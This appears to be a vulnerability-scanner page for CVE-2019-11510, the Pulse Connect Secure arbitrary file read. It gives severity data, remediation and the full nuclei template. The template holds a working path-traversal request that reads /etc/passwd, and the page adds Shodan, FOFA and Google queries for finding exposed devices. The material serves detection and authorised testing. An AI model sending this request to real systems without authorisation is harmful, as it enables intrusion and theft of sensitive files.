Pulse Connect Secure SSL VPN Arbitrary File Read

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

10CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 all contain an arbitrary file reading vulnerability that could allow unauthenticated remote attackers to send a specially crafted URI to gain improper access.

Impact

An attacker can access sensitive information stored on the system, potentially leading to further compromise.

Fix

Apply the latest security patches and updates provided by Pulse Secure.

How to confirm it

Send: GET {{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-11510 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-11510

info:
  name: Pulse Connect Secure SSL VPN Arbitrary File Read
  author: organiccrap
  severity: critical
  description: Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 all contain an arbitrary file reading vulnerability that could allow unauthenticated remote attackers to send a specially crafted URI to gain improper access.
  impact: |
    An attacker can access sensitive information stored on the system, potentially leading to further compromise.
  remediation: |
    Apply the latest security patches and updates provided by Pulse Secure.
  reference:
    - https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
    - https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11510
    - http://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html
    - http://packetstormsecurity.com/files/154231/Pulse-Secure-SSL-VPN-File-Disclosure-NSE.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-11510
    cwe-id: CWE-22
    epss-score: 0.99999
    epss-percentile: 0.99996
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
    shodan-query:
      - http.html:"welcome.cgi?p=logo"
      - http.title:"ivanti connect secure"
    fofa-query:
      - body="welcome.cgi?p=logo"
      - title="ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: packetstorm,cve,cve2019,pulsesecure,lfi,kev,ivanti,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from